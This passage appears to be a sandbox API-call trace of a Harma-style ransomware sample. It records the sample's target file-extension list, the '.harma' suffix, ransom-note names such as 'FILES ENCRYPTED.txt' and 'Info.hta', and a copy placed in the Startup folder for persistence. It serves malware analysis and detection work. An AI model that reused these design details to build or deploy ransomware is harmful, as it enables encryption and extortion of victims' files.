Flags=0x0, Size=0xa) returned 0x37e590 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e5a8 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x37e5c0 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e5d8 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e5f0 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e608 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e620 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e638 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e650 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e668 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e680 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e6f0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eac0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ead8 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eaf0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb08 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb20 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb38 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb50 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb68 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eb80 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x37eb98 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ebb0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x37ebc8 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ebe0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ebf8 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ec10 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ec28 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ec40 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37ec58 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ec70 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ec88 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eca0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ecb8 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ecd0 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ece8 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed00 [0129.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed18 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed30 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed48 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed60 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed78 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ed90 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37eda8 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37edc0 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37edd8 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37edf0 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x37ee08 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x12) returned 0x336070 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ee20 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ee38 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ee50 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ee68 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ee80 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35aec0 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35aed8 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35aef0 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af08 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af20 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af38 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af50 [0129.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af68 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af80 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35af98 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35afb0 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35afc8 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35afe0 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35aff8 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b010 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b028 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b040 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b058 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x35b070 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b088 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e700 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b0a0 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e710 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b0b8 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b0d0 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b0e8 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b100 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b118 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b130 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b148 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b160 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b178 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b190 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b1a8 [0129.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b1c0 [0129.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x35b1d8 [0129.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b1f0 [0129.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e720 [0129.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b208 [0129.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x35b220 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x800) returned 0x35b6a8 [0129.842] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0129.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cea0 | out: hHeap=0x300000) returned 1 [0129.842] lstrlenW (lpString="") returned 0 [0129.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35bfe8 | out: hHeap=0x300000) returned 1 [0129.842] lstrlenW (lpString=".harma") returned 6 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3148c0, Size=0x8) returned 0x3148c0 [0129.842] lstrlenW (lpString=".harma") returned 6 [0129.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35bfe8 | out: hHeap=0x300000) returned 1 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c018, Size=0x20) returned 0x3144e0 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144e0, Size=0x40) returned 0x336bf0 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336bf0, Size=0x80) returned 0x37aeb8 [0129.842] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e790, Size=0x8) returned 0x37e7a0 [0129.843] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7a0, Size=0x10) returned 0x35c018 [0129.843] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c018, Size=0x20) returned 0x3144b8 [0129.843] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0129.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.843] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c048, Size=0x20) returned 0x335a50 [0129.843] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335a50, Size=0x40) returned 0x336bf0 [0129.843] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0129.843] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0129.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336bf0 | out: hHeap=0x300000) returned 1 [0129.843] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c048, Size=0x20) returned 0x335a50 [0129.843] lstrlenW (lpString="Info.hta") returned 8 [0129.843] lstrlenW (lpString="Info.hta") returned 8 [0129.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35c2b0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0129.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c2b0 | out: hHeap=0x300000) returned 1 [0129.844] lstrlenW (lpString="3G6885.exe") returned 10 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x336bf0 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c048, Size=0x20) returned 0x3144b8 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c048, Size=0x20) returned 0x335a50 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335a50, Size=0x40) returned 0x336c38 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336c38, Size=0x80) returned 0x37aeb8 [0129.844] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x339d20 [0129.844] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339d20 | out: hHeap=0x300000) returned 1 [0129.844] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x35c2b0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0129.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37eea8 | out: hHeap=0x300000) returned 1 [0129.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c2b0 | out: hHeap=0x300000) returned 1 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7a0, Size=0x8) returned 0x37e790 [0129.845] lstrlenW (lpString="%windir%;") returned 9 [0129.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144b8 | out: hHeap=0x300000) returned 1 [0129.845] lstrlenW (lpString="C:\\Windows;") returned 11 [0129.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34aea0 | out: hHeap=0x300000) returned 1 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c060, Size=0x20) returned 0x3144b8 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x336c38 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336c38, Size=0x80) returned 0x37aeb8 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x339d20 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7d0, Size=0x8) returned 0x37e7e0 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7e0, Size=0x10) returned 0x35c0a8 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c0a8, Size=0x20) returned 0x3144b8 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7a0, Size=0x8) returned 0x37e7e0 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7b0, Size=0x8) returned 0x37e7a0 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7d0, Size=0x8) returned 0x37e7f0 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7f0, Size=0x10) returned 0x35c150 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x335a50 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7e0, Size=0x10) returned 0x35c150 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7a0, Size=0x10) returned 0x35c180 [0129.845] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e7e0, Size=0x8) returned 0x37e7d0 [0129.846] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e800, Size=0x8) returned 0x37e810 [0129.846] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x335aa0 [0129.846] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c180, Size=0x20) returned 0x3359b0 [0129.846] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e820, Size=0x8) returned 0x37e830 [0129.846] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0129.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339d20 | out: hHeap=0x300000) returned 1 [0129.846] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c1f8, Size=0x20) returned 0x335ac8 [0129.846] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x34aea0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0129.846] lstrlenW (lpString="C:\\") returned 3 [0129.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0129.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34aea0 | out: hHeap=0x300000) returned 1 [0129.847] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e860, Size=0x82) returned 0x37d330 [0129.847] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e880, Size=0x100) returned 0x37d3c0 [0129.847] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d330, Size=0x104) returned 0x37d5e8 [0129.847] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d3c0, Size=0x200) returned 0x37d6f8 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e870 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d6f8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cf48 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b050 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c258 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b0d8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c288 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d5e8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c270 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d4c8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cf60 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d558 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cf78 | out: hHeap=0x300000) returned 1 [0129.849] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c270, Size=0x20) returned 0x335af0 [0129.849] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335af0, Size=0x40) returned 0x336c38 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e840 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c1f8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cea0 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c228 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37afc8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c210 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e850 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c240 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339df8 | out: hHeap=0x300000) returned 1 [0129.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336170 | out: hHeap=0x300000) returned 1 [0129.850] lstrlenW (lpString="%systemdrive%") returned 13 [0129.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335ac8 | out: hHeap=0x300000) returned 1 [0129.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e820 | out: hHeap=0x300000) returned 1 [0129.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x33ae80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c240, Size=0x20) returned 0x335af0 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335af0, Size=0x40) returned 0x336c80 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336c80, Size=0x80) returned 0x37aeb8 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x37d330 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d330, Size=0x200) returned 0x37d330 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d330, Size=0x400) returned 0x37d330 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d330, Size=0x800) returned 0x37d330 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d330, Size=0x1000) returned 0x38eec8 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e820, Size=0x8) returned 0x37e840 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e840, Size=0x10) returned 0x35c258 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c258, Size=0x20) returned 0x335af0 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335af0, Size=0x40) returned 0x336c80 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336c80, Size=0x80) returned 0x37aeb8 [0129.854] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x34cec0 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x34cec0, Size=0x200) returned 0x37d730 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d730, Size=0x400) returned 0x34eea8 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x34eea8, Size=0x800) returned 0x34feb0 [0129.855] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.m